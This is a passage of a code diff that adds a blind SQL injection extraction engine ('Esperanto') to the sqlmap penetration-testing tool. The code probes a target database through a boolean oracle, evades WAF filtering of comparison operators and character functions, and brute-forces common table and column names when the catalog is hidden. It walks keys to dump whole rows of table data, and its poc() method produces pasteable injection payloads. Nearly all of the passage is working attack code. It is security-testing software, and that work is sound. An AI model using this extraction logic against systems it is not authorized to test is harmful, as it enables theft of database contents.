"code" + self.dialect.ordered = True + return "code:%s" % name + self.dialect.charcode = None + + # 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a + # code function (one compare per bisection) and recovers case under CI / + # locale collations. tried before hex because it's cheaper. + for name, tmpl in _BINWRAP: + w = lambda s: tmpl.format(x=s) + if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \ + not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \ + not self._ask("%s=%s" % (w("'a'"), w("'A'"))): + self.dialect.binwrap = Cap(name, tmpl) + self.dialect.compare = "collation" + self.dialect.ordered = True + return "collation:%s" % name + + # 3) hex/byte function - collation-independent, recovers letter case even + # under case-insensitive collations (the key fallback when code fns are + # filtered by a WAF) + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc: + self.dialect.hexfn = Cap(name, tmpl, encoding=enc) + self.dialect.compare = "hex" + self.dialect.ordered = True + return "hex:%s" % name + + # 4) direct string comparison - only trustworthy where the collation follows + # byte order (probe the ASCII case/range invariants first) + byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'")) + if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one): + self.dialect.compare = "ordinal" + self.dialect.ordered = True + return "ordinal" + + # 5) equality scan - case-correct only under a case-sensitive collation + if not self._ask("'a'='A'"): + self.dialect.compare = "equality" + return "equality" + + # 6) last resort: case-insensitive equality. letters recovered, CASE LOST + # (no code/hex function and a CI collation - a genuine hard limit) + self.dialect.compare = "equality-ci" + self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable") + return "equality-ci" + + def _discoverComparator(self): + # how to express "value > threshold" for bisection. A WAF that strips '<'/'>' + # (very common) would otherwise leave code-mode picking '>' and silently + # failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall + # to order-free IN() subset bisection which needs only '=' membership. + try: + if self._ask("2>1") and not self._ask("2>3"): + self._comparator = "gt" + elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"): + self._comparator = "between" + self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") + else: + self._comparator = "membership" + self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") + self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)") + except OracleUndecided: + pass # keep the safe defaults (gt / IN-ok) + + def _charcodeSemantics(self, tmpl): + # ASCII-only ROUND-TRIP: build a char from its code, then read the code back. + # code(char(N))==N means extract-then-rebuild is faithful for N. no raw + # non-ASCII byte ever crosses the URL/app/DBMS encoding layers. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + code = lambda n: tmpl.format(expr=cf.format(code=n)) + try: + if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9) + return "unknown" + if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it) + return "codepage" # single-byte codepage only + # a supplementary char proves full codepoint vs a UTF-16 code-unit fn + # (SQL Server UNICODE() returns the leading surrogate for U+1F642). + if self._ask("%s=128578" % code(0x1F642)): + return "codepoint" + if self._ask("%s=55357" % code(0x1F642)): # high surrogate + return "utf16_unit" + return "bmp_codepoint" # verified on BMP only + except OracleUndecided: + return "unknown" + + def _discoverCharfrom(self): + for name, tmpl in _CHARFROM: + if self._ask("%s='a'" % tmpl.format(code=97)) and \ + not self._ask("%s='b'" % tmpl.format(code=97)): + self.dialect.charfrom = Cap(name, tmpl) + return name + self.dialect.charfrom = None + + def _discoverIdentity(self): + for kind, candidates in sorted(_IDENTITY.items()): + for expr in candidates: + # a valid identity expression has non-zero length; invalid -> error -> false + if self._hasChars(expr): + self.dialect.identity[kind] = expr + break + + def _discoverCatalog(self): + for table, family, enum in _CATALOGS: + if self._exists(table): + self.dialect.catalog = table + self.dialect.family = family + self.dialect.catalogEnum = enum + return table diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py new file mode 100644 index 00000000000..d5ea7be15f5 --- /dev/null +++ b/extra/esperanto/engine.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _FREQ_ORDER +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _unichr +from .records import Dialect +from .oracle import _OracleCore +from .discovery import _Discovery +from .extraction import _Extraction +from .enumeration import _Enumeration + + +class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration): + """DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern + (oracle / discovery / extraction / enumeration); this class only holds + construction + the query counter.""" + + def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1, + maxbytes=None, max_queries=None): + """oracle: callable(condition_str) -> bool. + quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or + intermittently-erroring oracle can't flip a single probe and corrupt a + result; retries re-attempts a raised call before it counts as an error. + maxlen caps text characters; maxbytes separately caps byte/hex recovery + (default 4*maxlen); max_queries is an optional hard oracle-call ceiling.""" + if not callable(oracle): + raise TypeError("oracle must be callable") + self.oracle = oracle + self.verbose = verbose + self.maxlen = maxlen + self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes + self.retries = retries + self.quorum = max(1, quorum) + self.max_queries = max_queries + self.dialect = Dialect() + self._queries = 0 + self._errors = 0 + self._hexProbed = False + self._hexOrdered = None + self._backslashEscape = None + self._codeTmpl = None + self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership" + self._inOk = True # IN(...) usable (order-free subset bisection) + self._lastTruncated = False + self._discovered = False + self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an + # undecidable probe there = "rung unusable" -> False; elsewhere (reading + # committed data) an undecidable probe stays undecided so it degrades loudly + self._progress = None # optional host callback(str) for live feedback + + @property + def queryCount(self): + return self._queries + + +def hostExtract(oracle, strategy, expr, maxlen=4096): + """Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle. + + This is the proof that the strategy is a sufficient hand-off: it reproduces + char-by-char extraction with zero dependency on Esperanto's own retrieval code - + exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in + ~30 lines. Covers the char-comparison modes (code / collation / ordinal / + equality); hex mode is reachable the same way via strategy.renderHex().""" + ask = lambda cond: bool(oracle(cond)) + L = strategy.renderLength(expr) + if not ask("%s>=0" % L): + return None + if ask("%s=0" % L): + return "" + lo, hi = 1, min(8, maxlen) + while hi < maxlen and ask("%s>%d" % (L, hi)): + lo, hi = hi + 1, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi) // 2 + lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid) + length = lo + + def read(pos): + mode = strategy.compare_mode + if mode == "code": + code = strategy.renderCode(expr, pos) + top = 0x10FFFF + for cap in (127, 255, 0xFFFF, 0x10FFFF): + if not ask("%s>%d" % (code, cap)): + top = cap + break + a, b = 0, top + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m) + return _unichr(a) + if mode in ("collation", "ordinal"): + cs = _PRINTABLE_SORTED + a, b = 0, len(cs) - 1 + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m) + return cs[a] + for ch in _FREQ_ORDER: # equality scan + if ask(strategy.renderCharCmp(expr, pos, ch, "=")): + return ch + return _REPL + + return "".join(read(i) for i in range(1, length + 1)) diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py new file mode 100644 index 00000000000..28709458ba7 --- /dev/null +++ b/extra/esperanto/enumeration.py @@ -0,0 +1,623 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _BULK_AGG +from .atlas import _COLUMN_SPECS +from .atlas import _HEX_PAYLOAD_CODES +from .atlas import _IDENT_QUOTE +from .atlas import _KEY_SPECS +from .atlas import _REPL +from .atlas import _ROWID +from .atlas import _ROWID_LITBOUND +from .records import BulkResult +from .records import Cap +from .records import InferenceStrategy +from .records import OracleUndecided +from .wordlist import commonColumns +from .wordlist import commonTables + +_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away +# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump) +_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax")) + + +class _Enumeration(object): + """_Enumeration + + catalog walking + data dump: enumerate / columns / dump / bulk + row selection. + When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the + table/column listings fall back to brute-forcing common names (bruteTables / + bruteColumns) so extraction works with zero schema knowledge.""" + + def enumerate(self, kind="table", limit=10, schema=None): + """Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect + row limiter needed, and cost scales with `limit`, not catalog size. `schema` + scopes tables to one database. Falls back to brute-forcing common table names + when the catalog is unavailable/empty. For a full dump prefer enumerateBulk.""" + names = None + if kind in self.dialect.catalogEnum and self._canPage: + names = self.enumerateKeyset(kind, limit, schema) + if not names and kind == "table": + names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names + return names + + @property + def _canPage(self): + # keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with + # neither, the catalog walk can't advance past the first row -> use brute-force + return self._comparator in ("gt", "between") or self._inOk + + def bruteTables(self, limit=50, schema=None): + """No/unreadable catalog: discover tables by existence-probing common names + (COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know + nothing about the schema' fallback, akin to sqlmap's --common-tables.""" + self.dialect.notes.append("catalog unavailable - brute-forcing common table names") + found, tries = [], 0 + for name in commonTables(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + tries += 1 + qname = self.quoteIdent(name) + if schema is not None: + qname = "%s.%s" % (self.quoteIdent(schema), qname) + try: + if self._exists(qname): + found.append(name) + self._emit(name) + except OracleUndecided: + break # oracle wall - stop, keep what we have + return found + + def bruteColumns(self, table, schema=None, limit=100): + """No/unreadable column catalog: discover columns of `table` by existence- + probing common names (COUNT(col) succeeds -> the column exists).""" + qtable = self.quoteIdent(table) + if schema is not None: + qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + found, tries = [], 0 + for col in commonColumns(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns + continue + tries += 1 + try: + # probe the column BARE (not quoted): a nonexistent bare column errors, + # whereas a double-quoted unknown is silently taken as a STRING LITERAL + # on SQLite -> would pass every fake name. COUNT-free (WAF may filter it). + if self._exists(qtable, col): + found.append(col) + self._emit(col) + except OracleUndecided: + break + if found: + self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found)) + return found + + def _source(self, kind, schema=None): + col, src, filt = self.dialect.catalogEnum[kind] + clauses = [filt] if filt else [] + if schema is not None and "schema" in self.dialect.catalogEnum: + scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname + clauses.append("%s=%s" % (scol, self.buildLiteral(schema))) + return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "") + + def enumerateKeyset(self, kind, limit=10, schema=None): + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind, schema) + return self._keysetWalk(col, src, where, limit) + + def _keysetWalk(self, col, src, where, limit): + # page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row + # limiter needed. the FIRST query is unbounded (a space/'' seed would skip + # identifiers sorting below it). the DB does the ordering in its own + # collation; Python only tests EXACT repetition (collation-invariant) - never + # a Python `<=` ordering test. + conj = " AND " if where else " WHERE " + names, prev = [], None + while len(names) < limit: + if prev is None: + expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where) + else: + beyond = self._beyondSql(col, prev, "text", seen=names) + if beyond is None: # no ordered comparator, no IN -> can't page + self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)") + break + expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond) + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget + # probe (permission or charset wall) stops the listing with what we have + try: + if not self._ask("%s IS NOT NULL" % expr): + break + name = self.extract(expr) + except OracleUndecided: + self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)") + break + if not name or name == prev: + break + names.append(name) + self._emit(name) # live feedback per discovered name + if _REPL in name: + # an unrecoverable char in the name can't form a reliable keyset bound; + # stop rather than loop on a corrupt (or repeating) boundary + self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name) + break + prev = name + return names + + def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None): + # SQL fragment picking the next un-taken row for keyset paging, honoring the + # discovered comparator so paging survives a blocked '>'. '>' pages by "sorts + # after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages + # text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges + # any collation/sentinel guesswork). Returns None when none of these is possible + # - the caller then stops with the rows it already has. + lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND) + if self._comparator == "gt": + bound = prev if unit == "int" else lit(prev) + return "%s>%s" % (expr, bound) + if self._comparator == "between" and unit == "int": + return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev) + if self._inOk and seen: + lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen) + return "%s NOT IN (%s)" % (expr, lits) + return None + + def hasTable(self, table, schema=None): + """Does `table` (optionally in `schema`) resolve? COUNT-free existence.""" + q = self.quoteIdent(table) + if schema: + q = "%s.%s" % (self.quoteIdent(schema), q) + try: + return self._exists(q) + except OracleUndecided: + return False + + def tableSchema(self, table): + """Resolve which schema a table actually lives in, from the catalog. PG-family + tables are commonly in 'public' while current_schema() is the login user's own + (empty) schema, so scoping to the current schema misses them. Returns the schema + name, or None if the catalog has no schema concept or the table isn't found.""" + ce = self.dialect.catalogEnum + if "schema" not in ce or "table" not in ce: + return None + schemacol = ce["schema"][0] + namecol, source = ce["table"][0], ce["table"][1] + # prefer a non-system schema (a system table could share the name) + excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema", + "SYS", "INFORMATION_SCHEMA", "pg_toast") + notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl)) + for tail in (notsys, ""): + expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail) + try: + if self._ask("%s IS NOT NULL" % expr): + return self.extract(expr) + except OracleUndecided: + break + return None + + def quoteIdent(self, name): + """Quote a target-supplied identifier (table/column) so reserved words, + spaces, dots, or embedded quote chars are referenced safely. A name is an + IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no + quoting style was discovered.""" + q = self.dialect.identQuote + if not q: + return name + return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1]) + + def _ensureQuoting(self, table): + # discover the identifier-quote style using the (known-present) table: + # the wrong quote char makes SELECT ... FROM error -> reject + if self.dialect.identQuote is not None or self.dialect.identQuote is False: + return self.dialect.identQuote or None + with self._probePhase(): # a wrong quote char makes FROM error -> "unusable", not undecided + for open_q, close_q in _IDENT_QUOTE: + quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q) + if self._exists(quoted): + self.dialect.identQuote = (open_q, close_q) + return self.dialect.identQuote + self.dialect.identQuote = False # sentinel: probed, none worked + return None + + def columns(self, table, schema=None, limit=50): + """Enumerate a table's column names (keyset), optionally scoped to `schema` + (so identically-named tables in different schemas don't merge columns). Falls + back to brute-forcing common column names when no column catalog is usable.""" + names = None + spec = _COLUMN_SPECS.get(self.dialect.catalog) + if spec and self._canPage: + col, source, wheretmpl = spec[0], spec[1], spec[2] + ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column + schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column + lit = self.buildLiteral(table) + filt = (wheretmpl % lit) if wheretmpl else "" + if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema) + filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema)) + elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter + filt += " AND table_schema=%s" % self.buildLiteral(schema) + elif schema is not None and "TABLE_NAME" in (wheretmpl or ""): + filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema) + where = (" WHERE %s" % filt) if filt else "" + # pragma_table_info(%s) takes the table in the source itself + source = source % lit if "%s" in source else source + names = self._keysetWalk(col, source, where, limit) + if names and ordcol: + names = self._orderByOrdinal(names, col, source, filt, ordcol) + if not names: + names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names + return names + + def _orderByOrdinal(self, names, namecol, source, filt, ordcol): + # reorder the enumerated columns by their catalog ordinal so a dump matches the + # table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per + # column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes. + keyed = [] + for n in names: + cond = "%s=%s" % (namecol, self.buildLiteral(n)) + if filt: + cond = "%s AND %s" % (filt, cond) + try: + o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond)) + except (OracleUndecided, OverflowError): + o = None + keyed.append((o if o is not None else 1 << 30, n)) + return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))] + + def _discoverKey(self, table, schema=None): + # a primary/unique key column, preferred over a physical rowid. keyset needs + # MIN() over it and a `> prev` bound, both of which a key column supports. + spec = _KEY_SPECS.get(self.dialect.catalog) + if not spec: + return None + source, tcol, ncol, extra = spec + filt = "%s=%s" % (tcol, self.buildLiteral(table)) + if schema is not None: + filt += " AND table_schema=%s" % self.buildLiteral(schema) + if extra: + filt += " AND %s" % extra + # take the alphabetically-first key column (deterministic); a compound key + # still yields a usable ordering column for the walk + keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt) + with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal + present = self._ask("%s IS NOT NULL" % keyexpr) + if present: + name = self.extract(keyexpr) + if name: + return name + return None + + def columnType(self, expr): + """Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED + engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column + errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0 + so SUM succeeds - there the hint is unreliable and returns 'unknown' when it + can't tell. Not a substitute for reading the catalog's declared type.""" + sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr)) + if not sums: + return "text" # SUM errored -> definitely not numeric + # SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a + # cheap non-digit check on the first char (via the discovered substring) + try: + one = self._sub(self._resolveText(expr), 1, 1) + if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one): + return "numeric" + except Exception: + pass + return "unknown" + + def _classifyUnit(self, keyexpr, qtable): + # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque + # text (extract + literal bound) + q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable) + if self._comparator == "between": + # numeric range holds only for a number (text sorts outside it in SQL) + if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q): + return "int" + elif self._comparator == "gt": + if self._ask("%s>=0" % q) or self._ask("%s<0" % q): + return "int" + return "text" # membership/undecided: safe to treat as literal-bound text + + def _discoverRowid(self, qtable): + # find a MIN-aggregatable physical row identifier for the (already-quoted) + # table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text). + # each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL, + # ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump + with self._probePhase(): + for name, tmpl, _unit in _ROWID: + rid = tmpl % qtable if "%s" in tmpl else tmpl + if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)): + continue + unit = self._classifyUnit(rid, qtable) + # a physical row-id used as a keyset must be a sane NON-NEGATIVE int; + # Informix's `rowid` reads as a bogus negative here -> reject it and fall + # through to the value-keyset walk rather than feed extractInteger garbage + if unit == "int" and self._comparator == "gt" and \ + not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)): + continue + return Cap(name, rid, unit=unit) + return None + + def _walkKey(self, qtable, table, schema): + # ordering key, best-first: primary/unique key -> physical row-id -> value. + # returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset + # comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral). + key = self._discoverKey(table, schema) + if key: + kexpr = self.quoteIdent(key) + return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral + rid = self._discoverRowid(qtable) + if rid is not None: + boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral + return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn + return None, None, "value", self.buildLiteral + + def _rowPayload(self, cols): + # one hex-framed, NULL-PRESERVING token per column, joined by ','. token + # grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty + # string). the marker is required because COALESCE(col,'') collapses NULL and + # empty - and on Oracle the '' fallback is itself NULL. needs hex framing. + if not self._ensureHexfn() or not self.dialect.concat: + return None, False # can't frame a whole row -> caller scavenges cell-by-cell + parts = [] + for c in cols: + qc = self.quoteIdent(c) # column names are identifiers, not raw SQL + # text-cast before hex so a numeric/date column yields its TEXT form, not + # DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001) + text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc + marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text)) + parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked)) + interleaved = [parts[0]] + for p in parts[1:]: + interleaved.append("','") # the ',' row-token delimiter + interleaved.append(p) + return self._concatMany(interleaved), True # flat when concat is variadic + + def _cellRow(self, qtable, cols, where): + # SCAVENGER row read: pull each column on its own. A single value needs no comma/ + # marker framing (so no concat) and its NULL is detected directly (so no hex 'N' + # sentinel) - this is how a dump still works on a back-end that can neither + # concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves. + row = [] + for c in cols: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where)) + if not res.complete: + return None, False + row.append(res.value) + return row, True + + def _splitRow(self, data, ncols): + # returns (row, valid); a malformed token count/marker means invalid, never + # a silently padded/truncated plausible row + if data is None: + return None, False + toks = data.split(",") + if len(toks) != ncols: + return None, False + enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None + vals = [] + for t in toks: + if t == "N": + vals.append(None) + elif t == "V": + vals.append("") + elif t.startswith("V"): + v = self._decodeHexToken(t[1:], enc) + if v is None: + return None, False + vals.append(v) + else: + return None, False + return vals, True + + def dump(self, table, columns=None, schema=None, limit=10): + """Extract actual ROW DATA. Table/column names are treated as quoted + IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked + by a primary/unique KEY when discoverable, else a physical row-id, else the + row's own value (distinct-only); each row is one hex-framed, NULL-preserving, + text-cast extraction. Completeness is checked against COUNT(*). Returns + {columns, rows, complete, keyed_by}.""" + self._ensureQuoting(table) + qtable = self.quoteIdent(table) + if schema is not None: + qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + cols = columns or self.columns(table, schema) + if not cols: + return None + payload, framed = self._rowPayload(cols) + if not framed: # no hex/concat to frame a whole row + self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table) + try: + expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + except OracleUndecided: + expected = None + if expected == 0: + return {"columns": cols, "rows": [], "complete": True, "keyed_by": None} + keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema) + rows, ok = [], True + + def readrow(where): + # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. + # if the framed whole-row read doesn't verify (some engines choke on the big + # nested CONCAT or its verification, e.g. SQL Server), degrade to reading each + # cell on its own rather than dropping the row + if framed: + try: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES) + if res.complete: + return self._splitRow(res.value, len(cols)) + except OracleUndecided: + pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell + return self._cellRow(qtable, cols, where) + + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe + # (permission or charset wall) stops with whatever rows were recovered + try: + if keyexpr is not None: # key / row-id keyset (preferred) + prev, keys = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where) + key = self.extractInteger(ke) if unit == "int" else self.extract(ke) + if key is None or key == "" or key == prev: + break + bound = key if unit == "int" else boundfn(key) + row, valid = readrow("%s=%s" % (keyexpr, bound)) + if not valid: # a truncated/invalid cell != complete row + ok = False + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + prev = key + keys.append(key) # for order-free NOT IN() paging + else: # value keyset (distinct rows only) + ok = False # exact-duplicate rows collapse + self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table) + pageexpr = payload if framed else self.quoteIdent(cols[0]) + # the framed page-key is text; a bare first-column page-key may be numeric, + # and a numeric column MUST be read via extractInteger + a numeric bound - a + # text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage + # bound ("id=' '") that matches no row (dump silently returns 0 entries) + pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable) + prev, seen = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + if framed: + res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES) + pv, valid = res.value, res.complete + row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False) + valid = valid and ok2 + elif pageunit == "int": # numeric first column: read + bound as a number + pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False) + else: # page on the first (text) column, read cells under it + pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False) + if pv is None or pv == "" or pv == prev or not valid: + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL + break + prev = pv + seen.append(pv) # for order-free NOT IN() paging + except (OracleUndecided, OverflowError): + # degrade, never crash: an undecided oracle (permission/charset wall) or a + # bogus key that overflows extractInteger stops the walk with partial rows + self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table) + ok = False + # complete only if every row extracted cleanly AND we got them all + complete = ok and expected is not None and len(rows) == expected + return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by} + + def poc(self, expr, position=1, gt=64): + """Emit a clean, pasteable boolean payload for ONE probe (the exploitation + primitive), so a tester can drop it into Burp without re-running discovery.""" + one = self._sub(expr, position, 1) + if self.dialect.compare == "code" and self.dialect.charcode: + return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt) + if self.dialect.compare == "hex" and self.dialect.hexfn: + return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt) + if self.dialect.compare == "collation" and self.dialect.binwrap: + w = self.dialect.binwrap[1] + return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt)))) + if self.dialect.compare in ("equality", "equality-ci"): + # equality mode was chosen BECAUSE ordering isn't trustworthy - don't + # fabricate a `>` predicate the target's collation may not honour + raise RuntimeError("ordered PoC unavailable in equality-only compare mode") + return "%s>%s" % (one, self._lit(chr(gt))) + + def strategy(self): + """Freeze the discovered dialect into an immutable InferenceStrategy - the + hand-off artifact for a host inference engine (see hostExtract). Ensures the + hex fn and quoting/backslash flags are resolved before freezing.""" + d = self.dialect + if not self._discovered: + self.discover() + self._ensureHexfn() + self._lit("x") # resolve backslash-escape flag + return InferenceStrategy( + product=d.product or d.family, family=d.family, compare_mode=d.compare, + catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes), + substring=(d.substring[1] if d.substring else None), + index_base=(d.substring.get("index_base", 1) if d.substring else 1), + length=(d.length[1] if d.length else None), + charcode=(d.charcode[1] if d.charcode else None), + charcode_sem=(d.charcode.get("semantics") if d.charcode else None), + hexfn=(d.hexfn[1] if d.hexfn else None), + binwrap=(d.binwrap[1] if d.binwrap else None), + charfrom=(d.charfrom[1] if d.charfrom else None), + concat=(d.concat[1] if d.concat else None), + identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None), + backslash=bool(self._backslashEscape)) + + def enumerateBulk(self, kind, maxchars=4096, encoding=None): + """One-shot full dump: aggregate the whole column into one delimited string + and extract it once. When a hex function exists each value is HEX-encoded + before aggregation, so the ',' delimiter is unambiguous (a comma can't occur + in a hex token) and any charset survives; otherwise raw values are joined + (comma-ambiguous, noted). Completeness is checked against an independent + COUNT(DISTINCT). Returns a BulkResult (list-like).""" + if kind not in self.dialect.catalogEnum: + return 